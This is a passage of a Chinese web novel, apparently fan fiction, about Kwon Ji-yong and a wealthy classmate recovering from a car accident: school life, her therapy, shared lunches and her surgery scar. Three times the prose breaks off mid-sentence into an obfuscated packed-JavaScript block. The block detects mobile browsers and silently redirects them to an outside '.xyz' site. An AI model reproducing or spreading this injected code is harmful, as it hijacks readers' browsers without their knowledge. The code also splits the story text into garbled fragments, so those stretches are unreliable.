是的,在韩国这样畸形的前后辈体系文化中,同龄人只能和同龄人做亲故,年长者对年幼者有着充分的绝对训斥权,包括责骂和体罚。更有甚者,会因为在年长者训斥年幼者的中途,把另一位毫无干系的年幼者拉进战场,仅仅只是因为有同龄人被长辈教训,身为朋友不能独善其身。 这种“教育方式”简直毫无逻辑和道理可言,可在韩国这个国家却是司空见惯的现象甚至有人隐隐以此为荣,认为此举是儒家尊老的正统思想。 大儒如果泉下有知,或许会跳起来大骂一声高丽雅言。 对此,李艺率只是平静地翻过一页漫画,敷衍地点点头,“知道了。况且我也没有做什么很出格的举动吧?” 权至龙:“…………” 你这种满不以为意的态度就是最大的出格啊喂! 他只好将韩国校园里一些潜移默化的潜规则掰碎了同李艺率细细讲清楚。他倒不是这种畸形文化的支持者,只是上次在教室里,徐善雅那个响亮的巴掌为他敲起了警钟——要不是他当时动作快,那个巴掌就得落到她手上了。 想到这里,权至龙放低了声音哄到:“总要适应的……万一下次碰上这种事,恰巧我没有在你身边怎么办?” 李艺率合上漫画书抬起头,没理会权至龙此时的担忧,转而问起了另外一件事,“你还记得刚开学的时候,你问我为什么穿长裤吗?” 权至龙:“记得,你说之前因为车祸腿受伤了嘛。” 闻言,李艺率轻笑,将漫画随手一扔,弯下腰将长裤卷起,裤腿往上拉,露出纤瘦光洁的小腿。 在看到李艺率动作的第一秒,权至龙的目光仿佛被烫到了一般,端坐着的身体呈现出后仰躲避的应激姿态,仿佛被恶作剧吓到跳脚的小动物,捂着眼睛不敢直视那片暴露在空气中的肌肤,声音颤抖着大叫:“呀!呀——!突然这样你是想要干嘛?!你这样还是个女人吗?女人不可以这样!我是个男人……赶快……赶快……!!” 舌头仿佛也被烫到了,嘴巴在此时很忙,但是说出来的话却没头没尾又慌乱无措。 李艺率:“难怪想当rapper,语速真快啊你。” 权至龙:“现在是说这个的时候吗?!!你快点把裤子穿好!” 李艺率:“……压根就没脱啊,到底在紧张些什么。” 权至龙:“…………” 对啊,他到底在紧张些什么。 权至龙深吸一口气平复心情,放下了挡在眼前的双手,但目光仍是闪躲着瞥了一眼左手边卷着裤腿大方露出膝盖的李艺率。 李艺率的校服制式虽然与大家的并无二致,但仔细看面料材质却又有细微的差别。布料的肌理柔软垂坠感顺滑,颜色也更饱和鲜亮,在阳光下泛着浅浅的柔光,应当是迎合了款式自己私下更换了更贴身透气的材料特别定制的。 “我的触觉很敏感,对贴身衣物的要求更高,这是姨母按照校服的款式去定做的。”像是看出了权至龙的对着装的兴趣,李艺率额外解释了一句。 原来是这样,难怪总觉得她穿校服格外好看。 权至龙点点头,心里也没多少在意,像李艺率这样的人就该养得娇贵一点,什么东西都得用最好的才对嘛。 不过话虽如此,权至龙还是不敢再多看一眼,侧着脸的姿势显得很别扭,“好了可以了,赶紧把裤腿弄好!” 李艺率:“…………” 至于这样紧张吗?这家伙该不会以为她只是为了炫耀裤子吧?! 她无奈叹了口气,心头满是对青春期少男抽象的疑惑,缓声说道,“我是想告诉你,我的腿压根没受伤。” 没受伤? 听到这里权至龙这才转过头,洁白细腻的肌理化作玉雕一般无暇,通透着若隐若现的浅淡血管,虽然瘦得看上去有些不健康,但线条流畅,在阳光反射下清透出隐约且令人安心的生命力。 李艺率从椅子上站起来踢踏两步放下裤腿,垂坠感极顺滑的面料瞬间贴合腿部线条,仿佛刚刚的冒失举动并未发生过一般。 原来没有受伤啊,那可真是太好了。 权至龙捂着发烫的脸颊,觉得有些庆幸,又不安的回味起心头升起的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068728|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股异样的遗憾来。 李艺率:“女生穿裙子,男生穿裤子;女人生孩子料理家事,男人拼事业工作赚钱。这些都是社会的基础分工,对吧?” 权至龙愣了愣,随即又点头:“是这样的,没错。” 闻言,李艺率轻笑出声:“可是这个规矩是谁定下的呢?既然法律上没有写,我就没有必须接受规则的必要。就像我拒绝穿女生制服只有五十公分的裙子,这是我自己选择的自由,并没有影响到其他人,这就证明我的选择是合理的,可以被接受的。同理,如果你想穿裙子,身为朋友我也会尊重你的选择,这并不会影响到我对你的看法。” 权至龙:“…………谁会想穿啊!!” 李艺率:“你看,就连你也不想穿,这说明校服裙这种事情也不是人人都能接受的。” 权至龙:“……我不想穿是因为我是男的!” 他急吼吼反驳,末了才发现自己脱口而出的话被动地陷入了某种思维误区。 是了,没人规定什么样的人必须只能做符合自己身份的事情,按照李艺率的想法,即使身为后辈,也不是需要完全遵循陈腐的潜规则。 这么想着,权至龙将自己的理解说给李艺率听,却换来了她的摇头。 “欸——区区小权也会有这么深刻的反思啊,可是你实在想太多了啦,”李艺率拉长声音说着风凉话:“我说这些纯粹是想说明一件事——我是特权阶级。” 权至龙:“…………别逼我在这么值得深思的氛围下骂你啊!” “好吧。”李艺率举手投降,“就像你担心的那样,因为怕我一些不合时宜的言行会导致承受不必要的伤害。” 说着李艺率露出一个意味深长的微笑,“可是小权,你忘了一件事。我家很有钱,是从爷爷的爷爷起就是有钱人的那种,一般人想不到的有钱。” 权至龙:“…………” 权至龙:“所以呢?有钱人挨打就不会痛吗?” 这家伙绝对会是那种遭遇校园霸凌拼尽全力无法反抗,挨了韩国霸凌史上最狠毒打的那一个啊!! “啧、啧、啧,小权,你还是不懂呀~”李艺率竖起一根手指甩着头摇晃,反驳权至龙对特权阶级粗糙的认知,模样看上去有一种古灵精怪的可爱,“你知道的,我是我爸爸唯一的女儿,而且还受过很严重的外伤差点活不下来。” 她弯下腰凑到权至龙跟前,眼睛弯成月牙的形状。 开学相处了一个月,权至龙发现李艺率并不是爱笑的性格。 不,应该说,她常常会笑,但大多是懒散的,戏谑的,恶劣的,装模做样的,带着看热闹一般的“恶人”微笑,像这样牵动唇角显露出梨涡卧蚕的笑眼权至龙反倒见得少之又少。 可她笑起来的模样实在是好看。 瞳眸里闪着细碎的光,眼下堆起可爱的肉团,整张脸都生动灿烂了起来,仿佛被扑面而来的明媚阳光晒了满脸,热烈的,滚烫的,让他脸颊通红几乎要将他晒伤的温度。 可惜说出来的话却无语得叫人牙龈发痒。 李艺率:“如果是遇见会产生肢体冲突的情况,哪怕对方只是碰到我的衣服,我也会马上躺在地上假装旧疾复发——当天晚上,教导主任就会带着这帮学生和他们的家长跑到我家下跪道歉。” 权至龙:“…………” 李艺率:“然后被门卫拦下连我家的大门都进不去。” 权至龙捂着脸痛苦地深吸一口气:“……………………” 我说够了!我真的没时间陪你玩这种大小姐游戏! 7. 艺率的一天 白姨母的一天是从早上六点开始的。 2004年,银河集团总部在瑞草区正式落户,李艺率一家三口也搬出了位于城北洞的李氏老宅。 不同于此时已是汉城奢华代表的狎鸥亭,李艺率一家所居住的瑞草区方背洞因环境静谧、安保严密的低密度别墅群,深受韩国政商各界精英青睐。 四层高的独栋建筑矗立在庭院中央,玻璃幕墙折射出冷冽的光芒。庭院里,花匠每天精心修剪的草木背靠阳光挂着鲜嫩的露珠,投下自由生长的斑驳阴影,与几何线条的清水混凝土围墙形成微妙对峙。 白姨母所居住的空间直面汉江,此时初升的太阳洒过水面,留下一片浅金色的柔波,这是她人生前四十年以来从未真正见过的奢侈视角。 走出房间,走过连接着主宅的连廊,正式踏入主家居住的空间。 冷色调的实木地板,清澈透亮的落地窗,室内六米挑高的客厅悬挂着艺率的水彩涂鸦,冰冷的光影在白金沙色的意大利大理石墙面流动。 其他帮佣同事正在有条不紊地分配厨房和打扫清洗工作,她们多是从老宅开始就一直为主家工作的住家帮佣。 李艺率一家家风严谨,平常待人也十分宽和,因此身为“后来者”的白姨母在初来时就被迅速接纳并施以善意,与同事们的相处极为融洽。 尽管已经在这里工作有半年之久,但白姨母还是时常会觉得自己身处于一座现代主义的水晶匣子,恍惚间仿佛连空气中也逸散着特殊的芬芳。 是了,已经逃离曾经的那个地狱半年多了,今后的每一个日子都是芬芳梦幻的。 * 因为疾病的缘故艺率很难进行自主睡眠,需要借助药物辅助,故而起床时间一向规律。 眼看时间不早了,白姨母赶忙打开中央控制系统的面板调整参数,温度25摄氏度,湿度55%——中枢敏化综合症具有极强的动态波动性,情绪应激、激素波动、环境因素都能成为诱发性剧痛的诱因,因此需要进行严格的生活管理才通过神经的可塑性调节来重建生态平衡。 今天是休息日的缘故,李艺率比平时晚了半个小时起床。 七点,一楼客厅的电梯铃发出一声脆响,厢门打开,她揉着惺忪的睡眼走出。 “早上好。” 白姨母微笑回应,又提醒道,“康复师已经在训练室了。” “哦。”李艺率悻悻点头,拖着步子不情不愿地往恒温泳池的方向走去。 脊椎神经损伤引发的中枢敏化综合症,从医学的角度来说是终生无法治愈的,患者只能通过药物辅助、分级运动治疗、严格的生活管理和认知行为疗法等手段实现功能化康复。 自从李艺率摆脱轮椅的半年多以来,已经依次完成了被动关节训练和呼吸训练,目前正在进行水中悬浮项目。训练项目需要进行实时动态态监测,因此父亲李在叙聘请了一支专业的康复团队负责她的日常康复计划——当然,虽然配合,她心里不怎么情愿就是了。 七点半,家里的另一位主人李叡承起床,拉开窗帘观赏了十分钟恒温泳池里,在康复师的帮助下艰难扑腾手脚,如同初学游泳的小鸭子一样笨拙可爱的妹妹,开启了一天的好心情。 八点,兄妹两人坐在餐桌旁,进行着每日例行的早餐交流——父亲李在叙在海外拓展事业版图,大儿子李叡承则在国内集团留守。自从李艺率车祸确诊疾病以后,李叡承承担了更多的家庭责任,监督着李艺率的一日三餐,直到李艺率恢复社交状态开学以后,李叡承才逐渐放下了一点过于操心的心态,将责任转交给了另外一位小同学接棒。 电视机里的早间新闻正报道着昨天夜里首尔麻浦区的一场意外车祸,受害者生前的照片赫然出现在液晶显示屏上。李叡承看向盯着电视忘记咀嚼的妹妹,又转移目光在屏幕上那张笑着的中年男人脸上停留片刻,最终出声打断,“好好吃,别分心。” “哦。”李艺率勉强收回视线,又理直气壮地向李叡承提起了要求,“我想看电视剧。” 李叡承:“那等你吃完得拖到什么时候去?” 李艺率:“不看电视剧我也会吃得很慢。” “啧。”李叡承弹了个舌音无奈妥协,认命地拿起遥控器调整频道,“那你一会把牛奶喝了啊。” 见李艺率捧着杯子乖乖啜饮,李叡承才满意地点了点头,转而又说起一件令他十分在意的事:“在家的时候吃饭都很乖,怎么体重还是上不去?你在学校里每天的午餐都有按时吃吗?” “当然了。”李艺率眼睛盯着电视,嚼着白姨母烤的面包,又往嘴里塞了一口火腿煎蛋,手里还捧着杯子一副很忙的模样,不假思索地答道。 “李、艺、率。”李叡承叫了她的大名,声音听上去有些阴森森的,“有没有人告诉过你,人在撒谎的时候小动作会变得特别多?” 李艺率:“……” 见她不说话,李叡承做出结论:“你该不会是趁着在学校没人管你所以把午餐都倒掉了吧?” “艺率啊,真的吗?是不是饭菜不合胃口?”此时正在收拾李叡承餐具的白姨母闻言抬起头看向她,脸上写满了难过,仿佛下一秒就会因为心意被浪费而偷偷掉眼泪。 “…………”李艺率抿抿唇,硬着头皮干巴巴地回答,“怎么可能,当然有好好吃了。” 李叡承眼神锐利:“那你解释一下,为什么最近还瘦了两斤。” 对此李艺率只是心虚地小声答道:“因为……因为是和朋友分着吃的。”像是终于找到了合理的借口,李艺率打开了话匣子,发出了不知人间疾苦的声音,“欧巴,我和你说啊,我那个亲故的公司可小气了,一天只给五千块的伙食费,五千块够买什么啊?连顿像样的饭都吃不了吧!” 李叡承:“…………”其实是够的,拉面面包饼干这些快碳足以应付一天的热量需求,演艺圈的底层练习生都是这么过来的,李艺率这朵从小就被照顾得很好的温室娇花自然不能理解其中辛酸。 但这并不是李艺率用来逃避吃饭的理由,想到这里,李叡承冷笑一声,“看来是欧巴想得不够周到了,为了保证你的好朋友不挨饿,下礼拜开始就让白姨母多准备一人份的午餐。” 李艺率:“………………” 坏了,搬起石头打到自己的脚,谁来为她的委屈发声啊! 眼看这李叡承作下决定通知白姨母,李艺率知道事情已成定局。在有关健康方面,父亲和哥哥少有做出妥协的时候,只能在其他方面下功夫:“那你帮我在学校里弄一台电视。” 在学校里弄个电视叫什么事啊?李叡承揉了揉突突直跳的太阳穴,最终只能无奈妥协,“行。” “要能看频道的那种哦。” “行。” 家里有相关的运营公司,拉个电缆接收信号也不是什么难事,李叡承点头默许。 “还有录影机也别忘了。” “……知道了。” 人心经不起试探,但经得住折磨。 这十几年来已经拥有丰富被折磨经验的李叡承早就对此习以为常,由此可见,世上本没有底线,往后退的步子多了,路从此也就变宽了。 “赶紧吃,我帮你早上约了九点钟的治疗,一会顺路送你过去。” “……哦。” * 李艺率下车挥别自家亲哥,踏进了私人诊所的大门。 严格来说并不是私人诊所,而是银河集团医院旗下的医疗研究中心。这是专门为集团高层提供医疗服务和临床研究的机构,在癌症、基因病学和干细胞研究等领域有着业内顶尖的成就,自从去年李艺率确诊中枢敏化起,机构着手对神经科学和疼痛医学领域进行深入拓展。 电梯到达指定楼层,闻着熟悉的消毒水味,穿过走廊,在转角处与熟悉的两位接待小姐点头打招呼,李艺率走进那个熟悉的房间。 原木色家具搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068729|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配新鲜绿植,墙上还挂着色彩鲜艳的艺术作品,诊室的布局很温馨,显然是想起到好好安抚她紧张情绪的作用。李艺率撇撇嘴,对父亲李在叙的控制狂程度深感无奈,连她看病的环境都要提前精心设计,真搞不懂一天天的哪来这么多时间精力! 主治医生是从国外相关领域高薪挖回来的专家,五十多岁的老头,戴着眼睛乐呵呵地进行例行的随访问诊。 她拣了最近一次诱发性剧痛的情况说了,又对近期的日常疼痛进行详细分值描述。主治医师史提尔听得很专注,时不时点头记录。 作为真正的老外,史提尔医生的韩语水平甚至做不到日常交流,在研究所的日常沟通都需要配备随身翻译。 但幸运的是,这位瑞士籍的医生出生于苏黎世,使用的是瑞士德语方言,尽管与官方标准德语差异较大,但也能同李艺率做到清晰交谈:“等这个疗程的磁脉冲治疗结束后,我们就要酌情开始准备进行大脑认知疗法,这个阶段的时间会很漫长,别担心,中途我们会穿插前额叶刺激疗程激活你脑内的内源阿/片系统,帮助调节你对疼痛的情绪认知,降低脑内疼痛连接的程度。” “大脑认知?” “人的大脑是很善于欺骗的。”说到这里,史提尔医生露出和蔼的微笑,“要知道,当人在生理或心理上承受极端痛苦的时候,大脑就会启动防御机制。它会在你疼痛时释放内啡肽,在你应激时释放肾上腺素……这是一种非人为创造出来的幻觉安慰,只为了让你误以为痛苦减轻了,叫你能好受些……而当你感到焦虑难过的时候,”说到这里,史提尔医生舞动手指做出一个俏皮的动作,“哗啦啦啦,多巴胺和血清素就会哭着对你说,求你了好姑娘,快笑一笑吧!” 李艺率静静地听着,对史提尔医生额外附赠的小品持保留意见,转而将目光投向了自进入诊室起就异常不安分地研究器械的具时望。 似乎是感知到李艺率的注视,具时望蹲下/身停在那顶悬挂着的电极帽的正下方,对她做出夸张搞怪的表情。 哧。 这家伙是真的很无聊啊。 史提尔医生并不惊讶于李艺率突如其来的行为,对她的分心似乎也习以为常。刚刚简单描述了大脑的特殊机制,其中唯独最重要的一点被他保留了—— 在最极端的情况下,大脑会通过解离或幻觉建立防御机制,来逃避无法承受的痛苦,从而保护个体免受精神崩溃。 回想起来到韩国的原因,史提尔医生忍不住发出医生轻叹……这个孩子的家人,是真的很爱她啊。 “情绪、感知、甚至记忆都可能被大脑欺骗,”在为李艺率戴上电极帽前,史提尔医生颇有些意味深长,“好姑娘,想要抽离痛苦的最好办法不是逃避,而是去拥抱它。” * 当磁脉冲以每秒10次的频率撞击她的运动皮层时,治疗椅微微震颤,电流悄悄流过大脑。 耳边不再是扰人的蜂鸣声,一直紧绷着的神经似乎也被人悄悄掐灭了火花,骨骼的棱角被磨得平整光滑,肌肉纤维的撕扯感被体贴地安抚,仿佛被包裹在温暖的茧中,李艺率在宁静中恍惚听见有人在她耳边轻声低语。 “真可惜……人这么就没了。” ——可惜什么? “是啊……新闻里说……救护车还没到就失去呼吸了。” ——电视新闻?啊,是今早的车祸报道啊。 李艺率的意识被模模糊糊地拉回现实,通过声线依稀认出,耳边低语闲聊的正是诊室门口那两个笑容可爱的前台接待员。 “人这一生……世事无常啊……” “第二个孩子……刚出生……他的太太…………” 脑后的失重感越来越强烈,疲惫一股脑地涌了上来。李艺率已经没有力气去努力分辨渐行渐远的低语。眼前出现一片星图,灵魂和意识脱离了躯壳,漂浮着游弋在无垠间。 遁入黑暗以后,她就什么也不记得了。 8. 爱会流向不缺爱的人 周一午休时,权至龙拿着包推开活动室大门,第一眼就看到了一个“大惊喜”。 2004年液晶显示屏电视的普及率并不算高,一台32寸的液晶电视售价大约在300-500万左右,相当于一个普通工薪族两到三个月的收入,这对于普通家庭来说,很算得上是一笔不菲的开销,因此时下普通民众仍将其视为奢侈新奇的玩意儿。 此时活动室内,那台新奇玩意儿的屏幕上正闪烁着斑斓的色彩,播放着时下最新潮的偶像剧,演员宋惠乔清纯漂亮的脸蛋也似乎在这件奢侈品的加持下被映衬得更加动人。 李艺率听见响声转过身,见权至龙盯着电视机嘴角微抽露出一副无语至极的模样,学着电视剧里女主角的模样夸张地插着腰,用和韩智恩如出一辙的口吻喊道:“权至龙!你是个超级自恋狂!宇宙第一讨厌鬼!”[1] 权至龙:“…………” 只是一个周末不见,这家伙怎么就忽然变成电视儿童了啊?! 还有,谁会干出专门买台电视机放学校里这种事情啊?这合理吗?校长教导主任你们倒是出来管一下啊! “啧、啧、啧,小权,你搞错了捏~”李艺率竖起手指对着权至龙摇头晃脑,“才不是专门去买的电视。” 然后又叉着腰发出了不知人间疾苦的声音,“我家里就有做电视,干嘛还要专门跑到外面去买?” 权至龙:“……所以说在你看来,重点是专门跑出去买,而不是买东西要花钱,对吗?” 李艺率对此大为不解:“买个电视而已,能花多少钱?” 权至龙:“………………” 他快速迈步上前一把捂住李艺率的嘴,“好了,我知道了,你不许再往下说了。” 我跟你这种有钱财阀大小姐是真的没话聊! * 几分钟后,两人在电视机前排排坐好,打开帆布袋取出今日份的午餐——直到权至龙看见两个精致的三层餐盒。 李艺率:“啊,这是作为电视的交换条件,拜托你啦~” 权至龙:“……你觉不觉得突然提出让我在一天之内变成饭桶帮你解决麻烦这个要求有点太不合理了。” 闻言李艺率只是快速竖起大拇指夸赞道:“不愧是梦想要成为rapper的小权!”说长句的时候不仅语速快,而且还很流畅嘛! 重点是这个吗?权至龙侧目无语地盯着她,“说说看吧,这是怎么回事。” “哦,在家的时候说漏嘴了,”继而又忍不住对着权至龙抱怨起李叡承来,“你知道的,我哥哥这个人超级恶劣的,而且管我管得超级严格!” 因为相处了有一段时间,在同桌和午休饭友——帮李艺率吃饭的朋友这两者身份的加持下,两人的关系亲近了很多,李艺率也一改在开学初装模做样的小老外形象(虽然只装了一个上午就暴露了恶劣本性),有时也会主动说一些和自己生活有关的事情,例如抱怨讨厌的哥哥和控制狂爸爸。 权至龙:“…………”他对李艺率的抱怨持保留意见,这个世界上恐怕找不出第二个比她性格更恶劣的家伙了。 “哎呀,帮帮忙嘛小权~”李艺率双手托着下巴,对权至龙眨眨眼拖长声音,“拜托了,这是我一生的请求。” 权至龙:“……你上一个一生的请求还是上礼拜五你拜托我帮你洗画笔整理书架。” 李艺率理直气壮:“人这一生难道只能有一个请求吗?!” 权至龙:“…………” 他知道她的拜托做得很敷衍,声音里一丝撒娇的意味都没有。 但她这样看着他的模样又格外好看。 托着下巴捧着脸,少女脸颊上尚未来得及褪去的白皙软肉被挤作一堆,连带着眼睛也被挤成了可爱的月牙形状。她的脸颊实在是小,手指又看上去格外修长,指甲修剪得圆润整齐,灵活地在脸上轻点,左眼眼下那颗细小的泪痣随着她的动作调皮地若隐若现。 权至龙:……………… 多吃一点,应该……也没什么吧? 不不,不对!艺人应该要做好身材管理才行啊。 ……但是他平时运动量很大,放课后回公司在练习室多跳一会舞就能消耗掉。 心里的天平摇摇晃晃还没做下决定,身体却已经自顾自地打开餐盒妥协,权至龙无奈地长叹一口气,“至少要帮我分担一些吧,吃太撑一会我没办法练习跳舞。” 李艺率:………… 甚至最后为难的理由都是在隐隐向她妥协,要不是一会还要练习,这家伙估计真的能变成饭桶帮她解决麻烦。 她的眼睛一亮,这下是真的有些感动了。 小权,你这家伙……未免也太好欺负了吧! 李艺率:“我一定要成为你最好的朋友!” 权至龙:………… “突然说这些是想干嘛?!”他完全不知道李艺率此时正在心里打定主意要把他变成一生的跟班,只是觉得她突如其来的肉麻直球让他无法招架,侧过微微发烫的脸颊,权至龙闪躲着眼睛故意不去看她。 但是众所周知,猫是一种蹬鼻子上脸的生物。 “哦莫,脸红了。”李艺率见状,歪着脸凑近打量他,浅笑着调侃道,“我看看……刚刚是不是突然一下子好感动!” 权至龙捂脸恶声恶气:“呀!你够了啊,我是真的会生气的!” 虽然现在这样子也很可爱,但如果她是个哑巴就好了。 时隔一个周末,权至龙仍是分外遗憾地这样想到。 * 这天的午餐李艺率只是少量的分走了属于她那部分的主食,又对配菜挑剔一番,拣走了爱吃的干蒸大虾和煎鸡腿肉,末了还发出嫌弃的声音,“总觉得鸡肉有股腥味,不喜欢。” 哪有这么夸张? 权至龙跟着尝了一筷子,虽然调味很简单,但是鸡肉被提前处理得很好,口感鲜嫩多汁,是连他这样一个对食物好坏区分并不敏感人也能尝得出的新鲜食材本味。他咽下口中的食物,斜睨了一眼挑剔着还没下筷的李艺率,轻哼一声道:“这个世界上恐怕很难找到你喜欢吃的食物了。” 这家伙绝对是他生平见过的、在进食这件事上最挑剔的人了! 不,这么说并不恰当。根据权至龙的观察,严格来说,李艺率并不是挑食,而是对一切食物平等地施加讨厌。 小时候他只在电视机前见过逃犯,怎么也没想到现实生活中还真能让他遇见一个“逃饭”的家伙。 结束这蛋白质超标、碳水爆炸的一餐后,权至龙迷迷糊糊地靠在椅背上,尽管是处于胃袋连接着异次元的年龄,但过于充足的饱食还是让他眼前泛起了糖霜般的白光。 这就是晕碳的感觉吗? 过了好几年练习生苦日子的权至龙生平第一次体会到,放纵式的吃饱,原来是一种令人眩晕的幸福啊。 听到他的感想,李艺率只是慢条斯理地挑着餐盒里清淡的小菜,满不在乎地反驳,“怎么可能是放纵,正常青春期男生一天要吃满3000大卡左右,你平时还有练习,热量需求只会更高,这才哪到哪啊。” 这么说也对,况且李艺率的饮食习惯很清淡,午餐都是根据她的口味和健康需求搭配的,即使这一顿让权至龙吃得有些撑,可也还远远达不到暴饮暴食的程度。 权至龙:“可我是练习生啊!艺人是有上镜需求的,要做好身材管理才行。” 李艺率:“所以你长不高嘛。” 权至龙:“…………” 此时比李艺率还矮上两三公分的权至龙没底气反驳,只能悻悻道,“我还在生长期。” “已经快要结束啦!”李艺率咽下最后一口小菜,轻描淡写地补刀,“况且我也还在生长期。” 她发出恶魔低语:“小权,你也不想以后站在我身边还没有我穿高跟鞋个高吧?” 权至龙:“…………” 明明是帮她解决麻烦,怎么到最后就变成是李艺率为他的生长发育考虑了?还讲不讲道理了啊?! 可恶,这家伙一天到晚都是一副对食物过敏的样子,吃东西又挑挑拣拣麻烦得很,凭什么长得比他还要高啊? 他看向捻着饭后水果小西红柿慢条斯理咀嚼的李艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068730|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率,心里愈发有些愤愤不平。 而面对他的疑惑,李艺率只是动作干脆地抓起他的右手。 “呀!突然这样像话吗?!”权至龙被这动作惊得差点跳起来,但顾及着李艺率之前说过她对痛觉很是敏感,一时之间也不敢放开动作挣扎,仿佛被捏住命运后颈的小狗。 “干嘛那么紧张?只是想让你感受一下。”李艺率斜斜飞了他一眼,对他如应激一般的少见多怪表示不解。 她的回答反倒让权至龙更加紧张了。 感受什么?感受……感受哪里………… 青春期的男生脑子里除了吃就是些见不得人的废料,这句话虽然刻薄,但却也称得上是一句十足的箴言。 权至龙的心跳加快,仿佛要冲破胸腔蹦出来——别误会,这并不意味着他对李艺率抱有什么旖旎的情绪,这只是被异性突如其来的、主动亲密接触下的,青春期少男最直白的反应。 她的掌心温暖干燥,轻轻附在他的脉搏上,他的手跟随着李艺率的牵引,停留在了……头部? 准确来说是左侧颅侧面,靠近太阳穴至后脑的区域。 权至龙的指尖划过她的发丝,触摸到了微妙的凸起,顺着凸起生长点的走势,在李艺率的皮肤上滑过大约二十公分左右的大弧形的曲线。 “……这是?” “开颅手术过后留下的疤痕。” 她的神色淡淡的,仿佛这是一件极为平常、很不值一提的小事,却让权至龙心猛然一沉。 之前她说起车祸受伤的时候,用的是“没伤到腿”这个词,可这分明,分明比伤到腿要严重上许多。 刚刚还分外活跃的心跳瞬间沉寂下来,像是被人用指尖撕开了一个小口,汹涌的情绪在此刻瞬间凝固,他抬头望向李艺率,眼中复杂交织,酸涩一片。 可李艺率的神情还是满不在乎,嘴里说着娇气抱怨的话,“当时半边被剃了光头,那个模样才叫吓人呢!” 闻言,权至龙只能干巴巴地回道:“……那你头发长得还蛮快的。” 一年时间就长发及肩,完全遮盖了痕迹,像是一场巨大的浩劫从未真正到访过,甚至没有在她平静的表情里留下任何细微的波澜。 “哼哼,一点点小手段啦~”她又模仿起他们最初相识那一天时他的故作姿态,眨了眨俏皮的眼睛,“但是因为下丘脑的损伤是不可逆的,所以我现在完全没办法处理好和食物的关系。” “不过往好了想,也算是一个意外留下来的纪念品吧。” 当然,这算是所有纪念品之中最微不足道的其中之一。 “…………”她越是轻描淡写若无其事,权至龙就越笑不出来。 爱从来会流向不缺爱的人。 权至龙经历了孤独又渴望被关爱的九年练习生生活,尽管与家人关系融洽,但在情感需求上始终难以做到平衡,只能孤单又自怜地在心里拥抱那片小小的缩影,游离于各个集体之外。 越是渴望过被爱的人,就越是会不吝啬地将自身情感付诸于他人。 伴随着李艺率近乎自我剖析式的自揭伤疤,权至龙在此时感受到一种奇妙的连接,像是某种难以名状的情绪在血脉中震颤。 他的胸腔发痒,思绪最终化作蜂蜜拿铁般浓稠的涩甜,喉结滚动,声音暗哑,“知道了,以后也会一直帮你解决麻烦的。” 李艺率则大为不敢置信:“这不是你身为我的跟班应该做的事情吗?!”他要是罢工的话,她上哪再找一个好欺负的饭桶! 权至龙:“……我这不是在向老大表忠心嘛。” 闻言,李艺率笑开了,暖棕色的瞳孔闪烁着虹彩,可爱的肉团又再次跑到了眼下,带着细小的纹路,荡开一片涟漪。像是终于挖掘出了一些难以印证的事实,她的声线里突然绽开一层薄亮的晨雾,喉间渗出蜂蜜结晶时的细碎金光,“小权,你完蛋了!” 她扬起嘴角,自顾自愉快地做下结论:“你要给我当一辈子仆人了!” 权至龙:“…………” 嗯,好像是要完蛋了呢。 这么想着,他也跟着笑开了。 9. 嘻嘻 麻浦区。 老旧的红色砖墙与新建大厦相互挤压,午间阳光从它们的夹缝中流淌成一条金色溪流。 行人匆匆走过,脚步轻快。 周末依旧要打工的上班族在红灯前不耐烦地跺脚,孩子们追逐打闹着穿过人行横道。 学生模样的少年赶着去补习班,骑着银色山地车从街边掠过;染着栗子色头发的时髦年轻人靠着公交站牌抽烟,烟圈蒸腾,翻盖手机不时响起复古电子音,切割着公交车的报站广播;刚刚铺好的沥青路面蒸腾出热气,混合着二手书店里泛黄纸张的霉味,与街边炒年糕小摊的油烟和铁板滋拉声交织在一起,形成微妙的平衡。 半个月过去,这条街道已经愈合得几乎天衣无缝。 新铺的沥青在阳光下泛着均匀的深灰色,完美覆盖了曾经失控的轮胎印记。 路边的护栏不知何时已被更换,崭新的金属管反射着刺眼的白光,笔直得仿佛从未经历过任何扭曲变形。 街道依旧喧嚣,依旧平凡。 这个世界从来不会因为一个人的离去就停下脚步,看着眼前这个佝偻着身体,带着枷锁被禁锢在巷尾的、手上拿着打火机重复点火动作的、模样再平常不过的男子,李艺率在心里这样想到。 “喂。” 李艺率走到那抹身影前唤道,男子缓缓抬头,似乎是被惊醒了一般,眼中闪过一丝迷茫。 “金……他叫什么来着?”李艺率犹豫了一下,转头看向靠在巷子阴影里的墙壁上,身形高挑欣长的青年。 具时望:“金永敷。” 李艺率点点头,可眼前的影子听到名字后没有丝毫回应,只是执拗地、无数次重复着按压打火机的动作。咔哒、咔哒……那声响隐入喧嚣,一丝火光也无。 